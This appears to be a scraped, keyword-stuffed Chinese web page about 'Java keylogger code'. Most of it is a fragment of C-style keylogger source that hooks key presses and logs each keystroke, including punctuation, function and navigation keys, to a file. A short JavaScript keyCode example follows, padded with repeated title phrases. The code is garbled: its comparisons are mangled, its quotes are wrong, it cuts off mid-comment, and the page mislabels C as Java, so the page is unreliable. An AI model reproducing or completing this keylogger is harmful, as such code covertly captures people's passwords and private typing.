java键盘记录器代码 java键盘记录器代码是什么( 二 )


}
if(vKey=96vKey=105) //小键盘0-9
{
if(bNumLock)
fprintf(stream,"%c",vKey-96+48);
}
if(vKey=186vKey=222) //其他键
{
switch(vKey)
{
case 186:
if (!bShift) ch=’;’ ;
else ch=’:’ ;
break;
case 187:
if (!bShift) ch=’=’ ;
else ch=’+’ ;
break;
case 188:
if (!bShift) ch=’,’ ;
else ch=’’ ;
break;
case 189:
if (!bShift) ch=’-’ ;
else ch=’_’ ;
break;
case 190:
if (!bShift) ch=’.’ ;
else ch=’’ ;
break;
case 191:
if (!bShift) ch=’/’ ;
else ch=’?’ ;
break;
case 192:
if (!bShift) ch=’`’ ;
else ch=’~’ ;
break;
case 219:
if (!bShift) ch=’[’;
else ch=’{’ ;
break;
case 220:
if (!bShift) ch=’\\’ ;
else ch=’|’ ;
break;
case 221:
if (!bShift) ch=’]’;
else ch=’}’ ;
break;
case 222:
if (!bShift) ch=’\’’;
else ch=’\"’ ;
break;
default:
ch=’n’ ;
break;
}
if (ch!=’n’ ) fprintf(stream,"%c",ch);
} //
if (vKey=112vKey=123) // 功能键 [F1]-[F12]
{
switch(wParam)
{
case 112:
fprintf(stream,"%s","[F1]");
break;
case 113:
fprintf(stream,"%s","[F2]");
break;
case 114:
fprintf(stream,"%s","[F3]");
break;
case 115:
fprintf(stream,"%s","[F4]");
break;
case 116:
fprintf(stream,"%s","[F5]");
break;
case 117:
fprintf(stream,"%s","[F6]");
break;
case 118:
fprintf(stream,"%s","[F7]");
break;
case 119:
fprintf(stream,"%s","[F8]");
break;
case 120:
fprintf(stream,"%s","[F9]");
break;
case 121:
fprintf(stream,"%s","[F10]");
break;
case 122:
fprintf(stream,"%s","[F11]");
break;
case 123:
fprintf(stream,"%s","[F12]");
break;
}
}
if (vKey=8vKey=46) //方向键
{
switch (vKey)
{
case 8:
strcpy(str,"[BK]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[EN]");
break;
case 27:
strcpy(str,"[ESC]");
break;
case 32:
strcpy(str,"[SP]");
break;
case 33:
strcpy(str,"[PU]");
break;
case 34:
strcpy(str,"[PD]");
break;
case 35:
strcpy(str,"[END]");
break;
case 36:
strcpy(str,"[HOME]");
break;
case 37:
strcpy(str,"[LF]");
break;
case 38:
strcpy(str,"[UF]");
break;
case 39:
strcpy(str,"[RF]");
break;
case 40:
strcpy(str,"[DF]");
break;
case 45:
strcpy(str,"[INS]");
break;
case 46:
strcpy(str,"[DEL]");
break;
default:
ch=’n’;
break;
}
if (ch!=’n’ )
{
//if (g_PrvChar!=vKey)
//{
fprintf(stream,"%s",str);
//g_PrvChar=vKey;
/
用java做一个键盘记录器的疑问这样java键盘记录器代码的功能是用JavaScript中的event属性的KeyCode方法完成java键盘记录器代码,利用onKeyDown事件进行驱动 。
在JavaScript中java键盘记录器代码,可以通过keyCode属性来得到用户所按键的ASSCII码值 。具体对应关系可以查ASSCII码表 。
例子:
示例1:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
var a=window.event.keyCode;
if(a==65)
{
alert("java键盘记录器代码你按java键盘记录器代码了a键吧");
}

推荐阅读